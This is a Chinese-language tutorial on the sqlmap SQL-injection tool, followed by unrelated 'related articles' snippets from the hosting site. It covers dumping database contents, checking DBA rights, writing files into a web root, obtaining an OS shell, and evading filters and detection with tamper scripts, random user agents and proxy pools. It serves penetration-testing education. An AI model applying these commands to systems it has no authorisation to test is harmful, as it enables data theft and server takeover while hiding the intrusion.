Web攻防06_sqlmap的使用

文章目录

      • 参考链接:
  • SQLMAP简介
      • 支持五种不同的注入模式
  • 数据猜解-库表列数据
  • 权限操作
      • 引出权限:
      • 引出文件:
      • 引出命令(执行命令):
  • 提交方法-POST&HEAD&JSON
      • Post注入
      • cookie注入
      • 注入请求头中(数据包注入,推荐):
  • 绕过模块-Tamper脚本-使用&开发
      • Tamper使用
      • Tamper编写
  • 分析拓展-代理&调试&指纹&风险&等级
      • 后期分析调试:
      • 打乱默认指纹:
      • 使用更多的测试:测试Header注入
      • 使用代理

请添加图片描述

参考链接:

https://blog.csdn.net/Goodric/article/details/115875009

https://www.cnblogs.com/bmjoker/p/9326258.html

SQLMAP简介

sqlmap 是一个开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。

注入测试方面有一个sqlmap就足够了,支持多种常用数据库注入。

支持五种不同的注入模式

  • 基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。

  • 基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。

  • 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。

  • 联合查询注入。可以使用 union 的情况下的注入。

  • 堆查询注入。可以执行多条语句时的注入。

数据猜解-库表列数据

数据猜解是用字典去猜的,使用的是data/txt中默认的字典进行猜解的,也可以自行添加字典。

测试:http://vulnweb.com/

-u “” 判断是否存在注入点

–current-db 获取当前数据库名

–tables -D “” 获取表

–columns -T “” -D “” 获取列

–dump -C “” -T “” -D “” 获取数据

-D 指定库名

-T 指定表名

-C 指定列名

python sqlmap.py --current-db  // 获取当前数据库名python sqlmap.py -u "地址" --tables -D "数据库名"  //获取表名,ACCESS数据库的话没有数据库,直接是表,MySQL的话有多个数据库,若不写库名,则会获取所有数据库的表信息python sqlmap.py -u "地址" --columns -T "表名" -D "数据库名" //获取该表名下的列名python sqlmap.py -u "地址" --dump -C "列名" -T "表名" -D "数据库名"   //获取数据, -C列名 -T表名

注入完成会将结果保存在C盘文件中。

–dbs #列出所有数据库

权限操作

测试:MYSQL高权限注入

引出权限:

判断站点是否为高权限。

--is-dba	#是否是管理员--privileges	#查看权限--current-user	#查看当前用户

更推荐--is-dba,因为--privileges查看的不一定准确

--is-dba也不一定准确,综合分析。

引出文件:

--file-read 	#文件读取--file-write	#文件写入--file-dest 	#要写入的文件绝对路径# 例子:
--file-write /test/test.txt --file-dest /var/www/html/1.txt;
将本地的test.txt文件写入到目标的1.txt

引出命令(执行命令):

--os-cmd=		# 执行系统命令--os-shell		#系统交互shell--sql-shell		#执行指定sql命令 

文件读写和执行命令都是建立在管理员权限的情况下,这些情况都是可以直接拿到网站权限的,就不需要进行数据猜解等测试方法了。

提交方法-POST&HEAD&JSON

测试:Post Cookie Json

Post注入

–data “post提交的数据” # 设置为post检测注入

python sqlmap.py -u "地址" --data "username=test&pass=test"

cookie注入

–cookie “”

注入请求头中(数据包注入,推荐):

把整个数据包保存文件在sqlmap目录下txt文件,在文件中使用*标记注入点,不标记则会全试,很慢。

-r 1.txtpython sqlmap.py -u "地址" -r 1.txt

有个网站,只能用手机访问,该网站有个注入点

如果不是通过抓包得到的请求的注入点数据包去注入,发送请求的话,

sqlmap就采用自己的请求头去访问进行注入测试,就有可能会访问不到,被拒绝。即无法测试

绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

Tamper使用

--tamper=脚本模块名称
如:
--tamper=base64encode.py
--tamper=test.py

脚本文件存放于sqlmap目录下的tamper目录中。

Tamper编写

在如下脚本模板中的if payload:中编写替换规则,使用payload.replace('替换前','替换内容')进行替换即可。

from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):if payload:      payload = payload.replace('SELECT','sElEct') # 编写替换规则payload = payload.replace('OR','Or')payload = payload.replace('AND','And')payload = payload.replace('SLEEP','SleeP')payload = payload.replace('ELT','Elt')return payload

重点在于研究出绕过的方法,当知道绕过的方法,脚本编写很简单

分析拓展-代理&调试&指纹&风险&等级

后期分析调试:

-v=(0-6)  #详细的等级(0-6)

显示详细的注入内容,等级越高,显示的内容越多越详细

通过调试信息分析为什么不能注入,是不能注入,绕过失败,还是自己写的tamper模块没有生效

打乱默认指纹:

--user-agent ""  #自定义user-agent

sqlmap的固有流量特征:User-Agent:sqlmap/1.7.5.4#

--random-agent  #随机user-agent--time-sec=(2,5) #延迟响应,默认为5

网站请求过快会屏蔽,使用延迟可解决

使用更多的测试:测试Header注入

--level=(1-5) #要执行的测试水平等级,默认为1 --risk=(0-3)  #测试执行的风险等级,默认为1 

相当于测试的深度,等级越高,测试的情况和方法更多

使用代理

--proxy "http://xx:xx" #代理地址,代理注入

和burpsuite联动,便于分析注入的情况,为什么不能注入,注入数据包的查看分析

代理池:直接将买的代理池地址放里面就好

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/151103.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于 nodejs+vue旅游推荐系统 mysql

目 录 摘 要 I ABSTRACT II 目 录 II 第1章 绪论 1 1.1背景及意义 1 1.2 国内外研究概况 1 1.3 研究的内容 1 第2章 相关技术 3 2.1 nodejs简介 4 2.2 express框架介绍 6 2.4 MySQL数据库 4 第3章 系统分析 5 3.1 需求分析 5 3.2 系统可行性分析 5 3.2.1技术可行性:…

【随机过程】布朗运动

这里写目录标题 Brownian motion Brownian motion The brownian motion 1D and brownian motion 2D functions, written with the cumsum command and without for loops, are used to generate a one-dimensional and two-dimensional Brownian motion, respectively. 使用cu…

主动调度是如何发生的

计算机主要处理计算、网络、存储三个方面。计算主要是 CPU 和内存的合作;网络和存储则多是和外部设备的合作;在操作外部设备的时候,往往需要让出 CPU,就像上面两段代码一样,选择调用 schedule() 函数。 上下文切换主要…

Stable Diffusion WebUI linux部署问题

当我部署好环境后,准备大张旗鼓开搞时,进入项目地址运行python launch.py后发现 下面连接着的报错是 OSError: Cant load tokenizer for openai/clip-vit-large-patch14. If you were trying to load it from https://huggingface.co/models, make sure…

演讲比赛常见误区及解决方法

演讲比赛常见误区及解决方法 一、演讲内容选择错误 1. 主题选择不合理 许多参赛者选择的主题内容,与比赛题目要求或听众背景不符,难以引起听众的兴趣。正确选择主题应考虑以下几点: - 主题应与比赛题目要求相符合,切合比赛定位…

微信小程序 slot 不显示

问题:创建组件&#xff0c;使用带名字的slot&#xff0c;页面调用组件使用slot不显示 源码&#xff1a; 组件xml <view class"p-item br24" style"{{style}}"><slot name"right" wx:if"{{!custBottom}}"></slot>&l…

C++类模板再学习

之前已经学习了C类模板&#xff1b;类模板的写法和一般类的写法有很大的差别&#xff1b;不容易熟悉&#xff1b;下面再做一遍&#xff1b; 做一个椭圆类&#xff0c;成员有长轴长度和短轴长度&#xff1b; // ellipse.h: interface for the ellipse class. // //#if !define…

Fourier分析导论——第1章——Fourier分析的起源(E.M. Stein R. Shakarchi)

第 1 章 Fourier分析的起源 (The Genesis of Fourier Analysis) Regarding the researches of dAlembert and Euler could one not add that if they knew this expansion, they made but a very imperfect use of it. They were both persuaded that an arbitrary and d…

mac 查看GPU使用

首先搜索活动监视器 然后 点击窗口->gpu历史记录 记住不是立马出结果&#xff0c;而是 需要等半分钟左右的

如何查找特定基因集合免疫基因集 炎症基因集

温故而知新&#xff0c;再次看下Msigdb数据库。它更新了很多内容。给我们提供了一个查询基因集的地方。 关注微信&#xff1a;生信小博士 比如纤维化基因集&#xff1a; 打开网址&#xff1a;https://www.gsea-msigdb.org/gsea/msigdb/index.jsp 2.点击search 3.比如我对纤维…

【Linux】Ubuntu升级nodejs版本

在下载nvm对nodejs版本进行管理时&#xff0c;由于网络因素一直下载失败&#xff0c;于是采用了新的方法对nodejs版本进行升级。 首先我们先查询一下现存的nodejs版本号&#xff0c;发现是12 我们下载一个名为n的软件包&#xff0c;n 是一个非常方便的 Node.js 版本管理工具&am…

Linux中shell脚本中的变量

目录 一、变量的定义 二、shell脚本中变量的定义方法 1、变量名称 2、环境级别 3、用户级别 4、系统级别 5、删除设定的变量 三、变量的转译 1、转译 2、声明 3、变量的数组 四、Linux中命令的别名设定 五、用户环境变量的更改 脚本中的传参 1、非交互模式 2…